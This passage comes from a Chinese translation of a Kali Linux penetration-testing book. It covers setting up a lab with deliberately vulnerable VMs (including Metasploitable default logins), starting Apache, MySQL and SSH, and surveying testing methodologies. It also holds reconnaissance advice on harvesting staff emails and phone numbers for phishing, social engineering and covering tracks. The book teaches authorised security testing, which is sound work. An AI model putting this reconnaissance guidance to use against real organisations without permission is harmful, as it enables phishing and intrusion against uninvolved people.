在 Putty 中的主机名区域输入公共 DNS 地址,如屏幕截图中所示:

接下来,向下滚动到 Putty 的左窗格中的SSH类别,并单击Auth子类别。单击右窗格上的浏览按钮,浏览到保存的.ppk私钥。

对于用户名,我们将使用Ec2-user

单击“打开”按钮,现在您应该能够登录到云中的 Kali 实例。连接后,请记得更新 Kali。

摘要

当查看最新版本的 Kali Linux 中的各种工具时,我们可以看到有各种安全任务的功能。这些包括数字取证、无线安全评估、软件逆向工程、黑客硬件和渗透测试。

还讨论了 Kali Linux 可以部署的各种方式。可以使用光盘、USB 或 SD 卡部署 Kali Linux,将其安装为虚拟机,也可以将其用作独立系统或云中的主操作系统。

与任何其他软件一样,Kali Linux 也需要更新,无论是仅更新软件应用程序还是更新发行版中包含的 Linux 内核。

在下一章中,我们将介绍如何设置我们的渗透测试实验室。

问题

  1. Kali Linux 的移动版本的名称是什么?

  2. 可以用什么 Windows 工具来验证已下载的 Kali Linux 镜像文件的完整性?

  3. 验证已下载的 Kali Linux 镜像文件的 Linux 命令是什么?

  4. 可以用什么工具在闪存驱动器或 SD/micro-SD 卡上安装 Kali Linux 和其他 Linux 发行版的名称是什么?

  5. 使用 Kali Linux 的各种实时模式是什么?

  6. 用于更新 Kali Linux 的命令是什么?

  7. 在亚马逊云中安装 Kali Linux 时,哪种通用实例符合免费套餐的使用条件?

进一步阅读

有关 Kali Linux 安装的其他信息,请访问:docs.kali.org/category/installation

有关在 Windows 上双启动 Kali Linux 的其他信息,请访问:docs.kali.org/installation/dual-boot-kali-with-windows

第二章:建立您的测试实验室

在这一章中,我们将看看为我们的渗透测试建立实验室环境。在尝试在生产环境中进行测试之前,许多测试应该首先在这个有限的实验室环境中进行。请记住,在进行网络渗透测试的任何阶段时,您必须在实时环境中获得书面许可,并遵守所有当地法律。在开始之前,最好让律师审查任何合同和参与细节,以避免在练习期间或之后可能出现的任何问题。一些保险公司也会为渗透测试人员提供意外损害的保险。

为了避免由于渗透测试而遇到法律问题和不必要的支出,强烈建议您建立一个测试环境,无论是物理的还是虚拟的,以便熟悉测试及其结果,并了解测试对硬件、软件和带宽的影响,因为这些测试对设备和组织都具有破坏性。

我们将详细介绍以下主题:

  • 在虚拟机中设置 Windows 环境

  • 安装易受攻击的服务器

  • 在 Kali Linux 中安装额外的工具

  • Kali Linux 中的网络服务

  • 额外的实验室和资源

技术要求

物理还是虚拟?

决定是建立物理实验室还是虚拟实验室(或两者兼而有之)取决于您的预算和可用资源。渗透测试可以根据所使用的工具而变得非常昂贵,特别是如果选择商业工具,但考虑到 Kali Linux 中许多可用的开源工具以及 GitHub 和 GitLab 上可用的工具,它并不一定非常昂贵。

作为专业的渗透测试人员,我使用两台物理机器。一台是配备 1 TB 硬盘、16 GB DDR4 RAM、i7 处理器和 NVIDIA GeForce GTX 1050 显卡的笔记本电脑,配备了三台虚拟机,包括主操作系统(Kali Linux 2018.2)。第二台机器是一台较旧的塔式工作站,配备 2 TB 硬盘、24 GB DDR3 RAM 和 Intel Xeon 3500 处理器,带有几个虚拟机,包括作为我的虚拟实验室环境的一部分使用的虚拟机。

在创建实验室环境时,至关重要的是您了解每个操作系统所需的最低和推荐资源,包括主机和所有虚拟机。虽然许多基于 Linux 的操作系统只需要 2 GB 的 RAM,但将超过指定的推荐 RAM 分配给您的工具总是一个明智的选择,以确保您的工具能够运行而不会出现延迟或内存不足的错误。不过,这将取决于您手头的预算或资源。

在虚拟机中设置 Windows 环境

对于 Windows 环境测试实验室,我选择安装微软 Windows 10,因为它目前是微软的最新版本。许多拥有更新 PC 和笔记本电脑的用户可能已经在运行 Windows 10,但是为了测试目的,Windows 10 也应该安装为虚拟机,从而保持主机操作系统不受影响。这也建议给那些使用较旧版本 Windows 的读者,以及 Mac 和 Linux 用户,这样他们就能够在实验室环境中使用最新版本的 Windows 进行渗透测试。在现实世界中,我们将看到更少的 Windows 7 机器,因为它的支持已经结束(使这些系统极易受到攻击),尽管也会有一些忠实的用户暂时不愿意升级。

在这次安装中,我们将使用微软网站上直接下载的 Windows 10 企业版评估副本。您可以通过访问www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise来下载 Windows 10 企业版的评估副本。请记住,除非您有或购买了许可证,否则此版本有 90 天的评估期。

一旦到达下载页面,您应该注意到有两个可用版本,ISO 和长期服务分支LSTB)。选择 ISO-企业版,然后点击继续。

填写评估表格的详细信息,然后点击继续。请记住输入的详细信息,因为在安装过程中稍后您将需要通过电话或短信进行身份验证。

选择您的平台(32 位或 64 位)以及您的语言,然后点击下载以继续。

现在您可以开始创建 Windows 10 虚拟机。可以使用 VirtualBox 或 VMware 进行此操作,但在这种情况下,我将使用 VirtualBox。

打开 VirtualBox,然后点击左上角的新建图标。为您的 VM 命名,并根据您之前下载的版本选择适当的版本(32 位或 64 位)。点击下一步继续。

为虚拟机分配可用的 RAM。推荐的内存为 2 GB,但是我分配了略多于 6 GB,因为我的机器上有 24 GB 的 RAM。记得考虑主机的使用情况,以及其他可能同时运行的 VM,比如 Kali Linux:

通过单击立即创建虚拟硬盘,然后单击创建来添加新的虚拟硬盘。

对于硬盘文件类型,选择VirtualBox 磁盘映像VDI),然后点击下一步。

在物理磁盘的存储选项下选择动态分配。这个选项通过仅在使用时使用物理磁盘上的空间来节省硬盘空间,而不是创建一个可能不会被使用的固定大小空间。点击下一步继续。

在选择虚拟磁盘大小时,考虑推荐的硬盘空间以及您可能希望在 VM 中安装的应用程序的空间(如 Metasploitable)。在这种情况下,我分配了 64 GB 的硬盘空间。点击创建继续:

此时,我们现在必须将 ISO 映像指向 VM。在 VirtualBox 管理器中,点击您新创建的 Windows 10 VM 实例,然后点击启动箭头。在选择启动磁盘框中,点击文件夹图标,浏览下载的 Windows 10 评估副本。点击开始继续:

这将带我们到 Windows 设置启动画面。输入您设置的相关信息,然后点击下一步继续。

点击立即安装以开始安装过程。

接受微软的许可条款,然后点击下一步继续。选择自定义安装选项,然后点击新建,然后点击应用以格式化 VM 硬盘:

格式化后,确保选择了之前指定大小的分区,然后单击“下一步”继续:

安装过程将开始,并且也需要一些时间来完成。与此同时,您可以查看一些关于渗透测试的其他精彩标题,网址为www.packtpub.com/tech/Penetration-Testing

安装完成后,如下截图所示,允许操作系统自动重新启动。

然后,您将被提示选择语言和键盘布局,然后继续设置,在此之后,您将被提示输入工作或学生电子邮件,然后选择隐私设置。

要设置安全登录,点击“设置 PIN”。您可能首先需要通过电话或短信验证您的身份。验证完成后,您将能够设置 PIN。请务必记住此 PIN(至少六位数),因为您将需要使用 PIN 进行登录。

设置完成后,您现在可以配置网络并安装应用程序。在屏幕右下角,您应该看到评估副本的详细信息:

如果需要快速恢复虚拟机到工作状态,您可能需要保存虚拟机状态。

安装易受攻击的服务器

在本节中,我们将安装一个易受攻击的虚拟机作为目标虚拟机。在书的几个章节中,我们将使用此目标,解释特定主题。我们选择在我们的机器上设置易受攻击的服务器,而不是使用互联网上可用的易受攻击的服务器的原因是因为我们不希望您违反任何法律。我们应强调,您绝不应在没有书面许可的情况下对其他服务器进行渗透测试。安装另一个虚拟机的另一个目的是以受控的方式提高您的技能。这样,很容易修复问题,并了解在攻击不起作用时目标机器上发生了什么。

在一些国家,甚至对不是您拥有的机器进行端口扫描都可能被视为犯罪行为。此外,如果使用虚拟机的操作系统出现问题,我们可以很容易地修复它。

在接下来的章节中,我们将设置 Metasploitable 2 和 Metasploitable 3 虚拟机作为易受攻击的服务器。Metasploitable 2 较旧,但更容易安装和配置。Metasploitable 3 更新一些漏洞,但安装方式有些不同,对新用户来说有时会有问题。因此,我们为读者提供了 Metasploitable 2 和 3 的选择,尽管我们建议您尝试两者,如果您有可用资源的话。

在虚拟机中设置 Metasploitable 2

我们将要使用的易受攻击的虚拟机是 Metasploitable 2。Rapid7 的著名 H.D. Moore 创建了这个易受攻击的系统。

除了 Metasploitable 2 之外,还有其他故意易受攻击的系统,您可以用于渗透测试学习过程,可以在以下网站找到:www.vulnhub.com

Metasploitable 2 在操作系统、网络和 Web 应用程序层面有许多漏洞。

有关 Metasploitable 2 中包含的漏洞的信息可以在 Rapid7 网站上找到,网址为community.rapid7.com/docs/DOC-1875

要在 VirtualBox 中安装 Metasploitable 2,您可以执行以下步骤:

  1. sourceforge.net/projects/metasploitable/files/Metasploitable2/下载 Metasploitable 2 文件。

  2. 解压 Metasploitable 2 ZIP 文件。成功完成解压过程后,您将找到五个文件:

Metasploitable.nvram 
Metasploitable.vmdk 
Metasploitable.vmsd 
Metasploitable.vmx 
Metasploitable.vmxf 
  1. 在 VirtualBox 中创建一个新的虚拟机。将名称设置为Metasploitable2,操作系统设置为Linux,版本设置为Ubuntu

  2. 将内存设置为1024MB

  3. 在虚拟硬盘设置中,选择使用现有的硬盘。选择我们在上一步中已经提取的Metasploitable文件。

  4. 将网络设置更改为仅主机适配器,以确保此服务器仅从主机机器和 Kali Linux 虚拟机访问。Kali Linux 虚拟机的网络设置也应设置为仅主机适配器,以便对本地 VM 进行渗透测试。

  5. 启动Metasploitable2虚拟机。启动过程完成后,你可以使用以下凭据登录Metasploitable2控制台:

  • 用户名:msfadmin

  • 密码:msfadmin

在你成功登录后,以下是 Metasploitable 2 控制台:

在 VM 中设置 Metasploitable 3

由 Rapid7 于 2016 年发布,Metasploitable 3 是最新更新的版本,比其前身具有更多的漏洞。然而,Metasploitable 3 并不是作为可下载的虚拟机提供的,而是需要安装和配置多个组件,用户需要自己构建虚拟机。

在这个例子中,我将在 Windows 10 主机上构建 Metasploitable 3 VM。为此,我们首先需要下载以下内容:

  • VirtualBox 或 VMware(VirtualBox 用户报告了版本 5.2 的问题,但使用版本 5.1.14 则取得了良好的结果,该版本可在 VirtualBox 页面上找到)

  • Packer

  • Vagrant

安装 Packer

Hashicorp 的 Packer 用于轻松构建自动化镜像,如 Metasploitable 3。访问www.packer.io/downloads.html并下载适用于你的操作系统的 Packer 版本。在这个例子中,我下载了 Windows 64 位版本:

下载完成后,提取文件的内容。应该有一个文件,这里是packer.exe

然后,在任何你喜欢的地方创建一个文件夹,并将其命名为 packer。我把它放在了我的系统的C:驱动器上:

在这一点上,你需要添加此文件夹的路径,以便在命令提示符中调用 Packer 应用程序。只需编辑你的环境变量并将其粘贴到packer.exe的路径中。

打开控制面板,点击高级系统设置:

在系统属性窗口中,在高级选项卡下,点击环境变量:

你应该在用户变量中看到路径条目。在系统变量框中,你还应该看到路径变量,其中包含一个条目C:\Program Files (x86)\Common Files\Oracle|Java\javapath:..

点击“编辑”按钮继续:

在编辑环境变量中,点击右上角的“新建”按钮,并从主窗口的列表中选择C:\packer。然后点击“确定”。

为了测试更改是否成功,启动命令提示符并输入packer。如果一切顺利,你应该返回使用参数和可用命令:

安装 Vagrant

Hashicorp 的 Vagrant 也是开源的,用于简化虚拟环境中的工作流程和配置。访问www.vagrantup.com/downloads.html并下载 Windows 版本。

一旦相关的下载程序安装完成(在这种情况下是 Windows),安装 Vagrant。

假设你已经安装了 VirtualBox,从 GitHub 存储库github.com/rapid7/metasploitable3下载 Metasploitable 3 源文件:

一旦源文件已下载,将文件提取到您选择的位置。在 Windows 10 中启动 PowerShell,更改目录直到到达包含下载的 Metasploitable 文件的文件夹,并输入./build_win2008命令。

这应该足以让您开始构建您的 Metasploit 3 服务器。对于初学者来说,这是一个非常复杂的构建,但绝对值得一试。

预构建的 Metasploit 3

对于那些在构建自己的 Metasploitable 3 服务器时遇到困难的人,可以在 GitHub 上找到并下载预构建版本:github.com/brimstone/metasploitable3/releases

这个版本的 Metasploitable 3 是由 Brimstone(Matt Robinson)构建的,可以作为.ova文件(Metasploitable3-0.1.4.ova)下载,大小仅为 211 MB。下载后,可以通过单击“文件”和“导入虚拟设备”在 VirtualBox 中打开.ova 文件。如果可用,您可能希望将预设的 RAM 量更改为 1 GB 以上。

尽管设置过程很长,但安装程序会自动完成所有操作,并最终为您呈现完整版本的 Metasploitable 3 Windows 2008 服务器。

另外,还可以在此处下载另一个完全配置好的预构建 Metasploitable 3 服务器:mega.nz/#!XQxEAABQ!frdh5DgZE-tSb_1ajPwLZrV4EZuj1lsS3WlWoLPvBjI

在 VM 中设置 BadStore

与 Metasploitable 3 相比,BadStore ISO 已经过时;但是,与 Metasploitable 3 不同,它非常容易安装和使用。知识和资源非常有限的读者可以使用此 ISO 镜像作为起点,因为它包含众所周知的漏洞,并且大小不到 15 MB。

截至撰写本书时,BadStore ISO 镜像不再在官方商店中提供,但可以使用几个信誉良好的链接。如 GitHub 文章所述,BadStore ISO 可以从此处下载:d396qusza40orc.cloudfront.net/softwaresec/virtual_machine/BadStore_212.iso

BadStore ISO 的手册也应下载,因为它包含有关 IP 连接和操作系统中的漏洞的重要信息。

从上述链接下载文件后,打开 VirtualBox,单击“文件”和“新建”。输入屏幕截图中显示的详细信息。完成后,单击“下一步”:

BadStore 使用的 RAM 很少。可以使用默认分配,但我已分配了 640 MB 的 RAM。单击“下一步”继续:

完成以下步骤:

  • 单击“现在创建虚拟硬盘”,然后单击“创建”按钮

  • 选择VirtualBox 磁盘映像VDI)作为硬盘文件类型,然后单击“下一步”

  • 在提示选择物理存储选项时选择动态分配,并单击“下一步”

  • 对于文件位置和大小,保留默认的 4 GB 文件大小,因为 BadStore 也需要非常少的磁盘空间

在启动 BadStore VM 之前,单击 Oracle VM VirtualBox Manager 中的“设置”按钮。单击左窗格中的“网络”类别,将适配器设置更改为“桥接适配器”,然后单击“确定”。这将使 VM 能够通过 DHCP 接收 IP 地址(如果在您的网络上启用了 DHCP),从而简化后续步骤中的连接过程:

在 Oracle VM VirtualBox Manager 中,单击 BadStore 条目,然后单击“启动”按钮:

在提示选择启动磁盘时,单击打开文件夹图标,浏览到之前下载的BadStore.iso文件。单击“启动”以运行 VM。

加载 BadStore 后,按 Enter 键激活控制台:

按下Enter后,输入ifconfig命令并按Enter查看你的接口配置。请注意,在下面的屏幕截图中,在eth0接口中,IP 地址(inet addr)设置为192.168.3.136。在你的机器上,根据你使用的 IP 方案,它应该是不同的。记下这个 IP,因为连接到 BadStore VM 需要用到它:

打开你选择的浏览器,在地址栏中输入 BadStore VM 的 IP 地址,然后输入以下语法:cgi-bin/badstore.cgi

在这种情况下,我已经在浏览器的地址栏中输入了以下 URL,以访问 BadStore VM:http://192.168.3.136/cgi-bin/badstore.cgi

一旦你输入了 BadStore VM 的 IP 并附加了前面的路径,按 Enter 键,你将看到 BadStore 前端,就像在这个屏幕截图中看到的那样:

如前所述,BadStore VM 在界面设计上非常古老;然而,对于初学者来说,它包含了 Kali Linux 中在后续章节中介绍的各种常见漏洞,可以很容易地找到并利用。

你可以尝试的另一个类似且易于设置的 VM 是Damn Vulnerable LinuxDVL)ISO。它可以从以下网址下载:sourceforge.net/projects/virtualhacking/files/os/dvl/DVL_1.5_Infectious_Disease.iso/download

在 Kali Linux 中安装额外的工具

在渗透测试之前或期间,可能需要包含 Kali Linux 中常见的其他工具。渗透测试的艺术有很多人不断创造可以包含的工具。因此,在你的 Kali Linux 设置中安装这些工具可能是必要的。在其他情况下,通常最好在开始任何渗透测试之前确保你的工具是最新的。

在包含额外的渗透测试工具时,建议首先查看 Kali Linux 存储库。如果软件包在那里可用,你可以使用该软件包,并使用下面详细说明的命令进行安装。另一个选择是,如果该工具在存储库中不可用,创建者通常会在他们的网站上或通过软件共享和聚合站点github.com/上提供下载选项。

虽然 Kali Linux 存储库外有许多可用工具,但你不应该依赖它们,因为很容易将它们添加到你的 Kali Linux 安装中。此外,许多不在存储库中的软件包有其他软件的依赖关系,可能会导致稳定性问题。

有几种软件包管理工具可用于帮助你管理系统中的软件包,如dpkgaptaptitude。Kali Linux 默认安装了dpkgapt

如果你想了解更多关于 apt 和dpkg命令的信息,你可以查看以下参考资料:help.ubuntu.com/community/AptGet/Howto/www.debian.org/doc/manuals/debian-reference/ch02.en.html

在本节中,我们将简要讨论 apt 命令,这与软件包安装过程有关。

要在存储库中搜索软件包名称,你可以使用以下命令:

    apt-cache search <package_name>

这个命令将显示整个软件包,其名称为package_name。要搜索特定软件包,请使用以下命令:

    apt-cache search <package_name>

如果您已经找到软件包但想要更详细的信息,请使用以下命令:

    apt-cache show <package_name>

要安装新软件包或更新现有软件包,请使用apt-get命令。以下是命令:

    apt-get install <package_name>

如果软件包在存储库中不可用,您可以从开发者网站或通过www.github.com搜索并下载。请务必只包括来自可信来源的软件。对于需要 Debian 软件包格式(软件包将具有文件扩展名.deb)的开发人员,可以使用dpkg命令。对于其他软件包,您通常会发现它们使用诸如 7-Zip 之类的压缩程序进行压缩,并且通常具有扩展名.zip.tar

Kali Linux 中的网络服务

Kali Linux 中有几种网络服务;在本节中,我们只描述其中一些:HTTP、MySQL 和 SSH 服务。您可以通过导航到 Kali Linux | 系统服务来找到其他服务。

HTTP

如果您的渗透测试有效,您可能希望有一个 Web 服务器,出于各种原因,例如提供恶意 Web 应用程序脚本。在 Kali Linux 中,已经安装了 Apache Web 服务器;您只需要启动服务。

以下是在 Kali Linux 中激活 HTTP 服务器所需的步骤:

  1. 要启动 Apache HTTP 服务,请打开命令行终端并输入以下命令以启动 Apache 服务器:
   service apache2 start
  1. 之后,您可以浏览到127.0.0.1的网页;默认情况下,它将显示 It works!页面:

要停止 Apache HTTP 服务,请执行以下步骤:

  1. 打开命令行终端并输入以下命令以停止 Apache 服务器:
    service apache2 stop

请记住,上一个命令不会在启动后生效。启动后,您需要再次输入命令。幸运的是,可以通过提供update-rc.d apache2 defaults命令在 Kali Linux 启动后自动启动 Apache HTTP 服务。

  1. 该命令将添加apache2服务以在启动时启动。

MySQL

我们将讨论的第二个服务是 MySQL。它是一个关系型数据库系统。MySQL 通常与 PHP 编程语言和 Apache Web 服务器一起使用,以创建动态的基于 Web 的应用程序。对于渗透测试过程,您可以使用 MySQL 来存储您的渗透测试结果,例如漏洞信息和网络映射结果。当然,您需要使用应用程序来存储这些结果。

要在 Kali Linux 中启动 MySQL 服务,可以执行以下步骤:

  1. 在终端窗口中,输入以下内容:
    service mysql start
  1. 要测试您的 MySQL 是否已经启动,您可以使用 MySQL 客户端连接到服务器。我们定义用户名(root)和密码以登录到 MySQL 服务器:
    mysql -u root

系统将回复以下内容:

    Enter password:
    Welcome to the MySQL monitor. Commands end with ; or g.
    Your MySQL connection id is 39
    Server version: 5.5.44-1 (Debian)
    Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

    Oracle is a registered trademark of Oracle Corporation and/or its
    affiliates. Other names may be trademarks of their respective
    owners.

    Type ''help;'' or ''h'' for help. Type ''c'' to clear the current input statement.
    mysql>

  1. 在此 MySQL 提示之后,您可以提供任何 SQL 命令。要退出 MySQL,只需输入quit

出于安全原因,默认情况下,Kali Linux 中的 MySQL 服务只能从本地机器访问。您可以通过编辑位于/etc/mysql/my.cnf中的 MySQL 配置文件中的 bind-address 段来更改此配置。我们不建议您更改此行为,除非您希望从其他地方访问您的 MySQL。

要停止 MySQL 服务,您可以执行以下步骤:

  1. 在终端窗口中,输入以下内容:
    service mysql stop
  1. 要在 Kali Linux 启动后自动启动 MySQL 服务,可以使用以下命令:
    update-rc.d mysql defaults

此命令将使 MySQL 服务在启动后启动。

SSH

在下一个服务中,我们将研究安全外壳SSH)。SSH 可用于安全地登录到远程计算机;除此之外,SSH 还有其他几种用途,如在两台计算机之间安全传输文件,执行远程计算机中的命令以及 X11 会话转发。

要在 Kali Linux 中管理您的 SSH 服务,请执行以下步骤:

  1. 要从命令行启动 SSHD 服务,请输入以下内容:
    service ssh start
  1. 要测试您的 SSH,您可以使用 SSH 客户端(如 Putty (www.chiark.greenend.org.uk/~sgtatham/putty/))从另一台服务器登录到 Kali Linux 服务器,如果您使用的是 Microsoft Windows 操作系统。

  2. 要停止 SSHD 服务,请从命令行输入以下内容:

    service ssh stop
  1. 要在 Kali Linux 启动后自动启动 SSH 服务,可以使用以下命令:
    update-rc.d ssh defaults

此命令将添加 SSH 服务以在启动时启动。

其他实验室和资源

虽然我们的主要重点是 Windows 10、Metasploitable 2 和 Metasploitable 3,但还有其他几个类似的项目可用于探索漏洞并测试您的技能。经验丰富的安全专家和渗透测试人员可能还记得一个名为 BadStore 的微小易受攻击的 Web 服务器。这个易受攻击的服务器不超过 15MB(是的,兆字节),包含了从跨站脚本到 SQL 注入的几个漏洞。虽然官方网站上不再提供直接下载,但仍然可以在网络上找到。

www.vulnhub.com/ 正是其域名所指示的:一个漏洞项目的中心。该网站列出了几个易受攻击的虚拟机供下载,可用于练习和夺旗赛CTF)场景和比赛,包括 Damn Vulnerable Linux,Kioptrix 等。

还有一些网站专门为那些有兴趣在受控环境中练习技能或学习的人而存在:

  • Hack this siteHackthissite.org也有许多挑战(左下角),并为初学者和程序员提供任务。这些挑战是免费的,但需要注册:

  • Hellbound Hackers:与 Hack This Site 一样,Hellbound Hackers (www.hellboundhackers.org/)也提供许多免费挑战,包括渗透测试挑战。还需要注册才能访问这些挑战:

总结

在本章中,我们讨论了为渗透测试创建实验室环境。正如所解释的,您的实验室设置将完全取决于您可用的资源,如 CPU、RAM 和 HDD 空间。最好尝试尽可能多地使用不同的操作系统,包括 Windows、Linux、Mac、Android,甚至 ARM 操作系统(可在www.vulnhub.com/上找到),以便在一个受控环境中获得一些经验,您可以在其中合法地进行测试。

如果使用 Metasploitable 服务器,我们建议初学者,包括时间有限的专业人士,使用 Metasploitable 2 OS,因为 Metasploitable 3 OS 的设置非常复杂——构建可以针对特定的主机操作系统。

资源有限的用户也可以使用较小的易受攻击的操作系统,如 BadStore 和 DVL,这些操作系统与 Metasploitable 2 一样,以 ISO 格式提供,并且只需进行少量设置即可安装。

建议您的实验室至少有一个 Windows 和一个 Linux 操作系统用于测试和学习。接下来,我们将看看渗透测试可用的各种方法。

问题

让我们尝试根据你从本章中获取的知识来回答一些问题:

  1. 有哪两个虚拟化平台可以用来创建和托管虚拟机?

  2. .vmdk代表什么?

  3. Metasploitable 2 的默认登录凭据是什么?

  4. 如果从头开始构建 Metasploitable 3 服务器,还需要哪些额外的软件?

  5. 在 Kali Linux 中用于安装新软件包或更新现有软件包的命令是什么?

  6. 用于启动 MySQL 服务的命令是什么?

  7. 用于启动 SSH 服务的命令是什么?

进一步阅读

第三章:渗透测试方法论

进行成功的渗透测试的一个最关键因素是基本方法。缺乏正式的方法意味着缺乏统一性,我相信你不想成为资助渗透测试并看着测试人员毫无头绪地探索的人。

方法论定义了在任何信息安全审计程序过程中追求和实施的一组规则、实践和程序。渗透测试方法论定义了一个具有实用想法和经过验证实践的路线图,可以用来评估网络、应用程序、系统或任何组合的真实安全状况。

虽然渗透测试人员的技能需要针对工作具体要求,但进行测试的方式不应该是固定的。也就是说,适当的方法应该为进行完整和真实的渗透测试提供一个细致的框架,但不应该是障碍性的——它应该允许测试人员充分探索他们的直觉。

技术要求

你必须在系统中安装 Kali Linux 和 Nmap,因为我们将在本章中使用它们。

渗透测试方法论

在确定测试类型时,了解不同类型的测试及其组成是很重要的;这可以分为三组:

  • 白盒渗透测试:在这种情况下,测试人员完全可以访问并深入了解正在测试的系统。测试人员与客户合作,并可以访问内部信息、服务器、正在运行的软件、网络图表,有时甚至可以获得凭据。这种测试类型通常用于在应用投入生产之前测试新应用程序,并作为系统开发生命周期SDLC)的一部分进行常规测试;这有助于在投入生产之前识别漏洞并加以修复。

  • 黑盒渗透测试:在黑盒渗透测试方法中,只向测试人员提供高层次的信息。测试人员对系统/网络完全不了解,使得这种测试类型尽可能接近真实世界。测试人员必须在客户的同意下使用创造性方法获取所有信息。虽然这种方法模仿了真实世界,但有时在测试时可能会错过一些领域。如果范围没有正确确定,这对客户来说可能会非常昂贵,也会耗费时间。测试人员将探索所有攻击向量并报告他们的发现。测试人员必须小心,因为在这种类型的测试中可能会出现问题。

  • 灰盒渗透测试:在两个极端之间是灰盒渗透测试;测试人员只能获得有限的信息来从外部攻击系统。这些测试通常在有限的范围内进行,并且测试人员对系统有一些了解。

无论选择哪种测试,遵循标准或指南以确保最佳实践也是很重要的。我们将更详细地讨论一些最流行的标准。

  • OWASP 测试指南

  • PCI 渗透测试指南

  • 渗透测试执行标准

  • NIST 800-115

  • 开放源安全测试方法手册OSSTMM

OWASP 测试指南

开放式 Web 应用程序安全项目OWASP)是一个开源社区项目,开发软件工具和基于知识的文档,帮助人们保护 Web 应用程序和 Web 服务的安全。OWASP 是系统架构师、开发人员、供应商、消费者和参与设计、开发、部署和测试 Web 应用程序和 Web 服务安全的安全专业人员的开源参考点。简而言之,OWASP 旨在帮助每个人构建更安全的 Web 应用程序和 Web 服务。OWASP 测试指南最好的方面之一是对发现的业务风险进行全面描述。OWASP 测试指南根据其对业务可能产生的影响和发生的机会对风险进行评级。通过 OWASP 测试指南描述的这些方面,可以找出给定发现的整体风险评级,从而根据其发现结果为组织提供适当的指导。

OWASP 测试指南主要关注以下内容:

  • Web 应用程序测试中的技术和工具

  • 信息收集

  • 身份验证测试

  • 业务逻辑测试

  • 数据验证测试

  • 拒绝服务攻击测试

  • 会话管理测试

  • Web 服务测试

  • AJAX 测试

  • 风险严重性

  • 风险可能性

PCI 渗透测试指南

对于需要遵守 PCI 要求的公司来说,情况变得更加现实。不仅要求使用 PCI v3.2,PCI 标准安全委员会还发布了关于将渗透测试作为漏洞管理计划的一部分的指导。

2016 年 4 月,支付卡行业安全标准委员会PCI SSC)发布了PCI 数据安全标准PCI DSS)版本 3.2。更新内容包括对要求的澄清、额外指导和七个新要求。

为了解决与持卡人数据泄露相关的问题并防止现有的利用,PCI DSS v.3.2 包括各种变化,其中大部分是针对服务提供商的。这包括新的渗透测试要求,现在要求服务提供商至少每六个月或在分割控制/方法发生重大变化后进行分割测试。此外,还有几项要求,以确保服务提供商在整年内持续监控和维护关键的安全控制。

渗透测试执行标准

渗透测试执行标准包括七个主要部分。它们涵盖了渗透测试的一切内容 - 从渗透测试背后的初步沟通和努力;通过信息收集和威胁建模阶段,测试人员在幕后工作,以更好地了解被测试的公司;通过漏洞研究、利用和后利用,测试人员的实际安全知识发挥作用并与业务智能结合;最后是报告,它以客户能够理解的格式概述了整个过程。

这个版本可以被视为 v1.0,因为标准的核心元素已经巩固,并且已经通过行业进行了一年的现场测试。v2.0 正在制作中,将在各个级别提供更细粒度的工作,即渗透测试的每个元素可以进行的强度级别。由于没有两次渗透测试是相同的,测试将从 Web 应用程序或网络测试到全面的红队黑盒参与,这些级别将使组织能够概述他们期望测试人员揭示的复杂程度,并使测试人员在组织认为必要的领域加强强度。级别的一些初始工作可以在情报收集部分中看到。

以下是标准定义的执行渗透测试的主要部分:

  • 预先交互

  • 情报收集

  • 威胁建模

  • 漏洞分析

  • 利用

  • 后期利用

  • 报告

NIST 800-115

国家标准与技术研究所特别出版物NIST-SP-800-115)是信息安全测试和评估的技术指南。该出版物由 NIST 的信息技术实验室ITL)制作。

该指南将安全评估定义为确定被评估实体如何满足特定安全要求的过程。当你审查该指南时,你会发现它包含了大量测试信息。虽然该文件的更新频率不如我们希望的那样频繁,但它是我们在构建测试方法论时的一个可行资源。

它们提供了设计、实施和维护技术信息、安全测试和审查过程和程序的实用指南,涵盖了技术安全测试和审查的关键元素。

这些可以用于多种原因,比如发现系统或网络中的漏洞,验证合规性或其他要求。该指南并不旨在提供全面的信息安全测试和审查程序,而是概述了技术安全测试和审查的关键要素,重点是特定的技术技巧,每种技巧的优缺点以及对其使用的建议。

NIST 800-115 标准为渗透测试人员提供了一个被接受的行业标准的地图。这个模型是确保你的渗透测试程序符合最佳实践的好方法。

开放源安全测试方法手册

OSSTMM 并不是最容易或最有趣的文件,但它充满了实用和相关的高级安全信息。它也是全球最知名的操作安全手册,每个月约有 50 万次下载,原因是:那些搞清楚它的人在安全方面具有明显的优势,因为它的指导比安全行业当前的热点大约领先了十年。

OSSTMM 的目标是提出一个互联网安全测试的标准。它旨在形成一个完整的测试基线,遵循该基线可以确保进行了彻底和全面的渗透测试。这应该使客户相信技术评估的水平,而不受其他组织关注的影响,比如渗透测试提供商的企业概况。

一般渗透测试框架

虽然这些标准在要求数量上有所不同,但它们可以大致分为以下阶段:

  • 侦察

  • 扫描和枚举

  • 获取访问

  • 权限升级

  • 保持访问

  • 掩盖你的踪迹

  • 报告

让我们更详细地看看每个阶段。

侦察

你的渗透测试时间的大部分将花在测试的这个关键部分。虽然有些人将这个阶段分为主动和被动,但我更喜欢将它们合并在一起,因为获取的数据会说明一切。

侦察是一种系统化的方法,你试图定位并收集有关目标的尽可能多的信息,这也被称为足迹技术。

足迹技术涉及的技术包括但不限于以下内容:

  • 社会工程学(这很有趣)

  • 互联网研究(谷歌、必应、LinkedIn 等)

  • 垃圾箱搜寻(弄脏你的手)

  • 冷调

基本上任何你可以获取目标信息的方式,所以要有创造力。那么,我们在寻找什么呢?

每一点信息都是有用的,但需要优先考虑,并记住一开始可能认为无用的东西可能在其他地方派上用场。但首先重要的事情将是以下内容:

  • 组织内的联系人姓名

  • 组织的其他位置(如果有的话)

  • 电子邮件地址(以后可以用于钓鱼、鲸鱼或鱼叉式钓鱼)

  • 公司内重要人物的电话号码(这些可以用于钓鱼)

  • 公司使用的系统,如 Windows 或 Linux

  • 招聘启事

  • 员工简历(过去/现在)

虽然所有这些可能都是不言自明的,但招聘启事似乎有点奇怪;然而,假设您遇到了一个系统管理员的招聘启事,并且根据他们要求的职位要求,这将为您提供有关他们内部系统的大量信息。然后可以用来制定攻击向量或找到漏洞。

员工简历以类似的方式工作;通过了解员工的技能,您可以确定他们可能正在运行的系统类型。

虽然这可能看起来很繁琐,但请记住,拥有的信息越多,以后做决定时就会更有能力。我个人发现自己在整个过程中都会回到这个阶段。

扫描和枚举

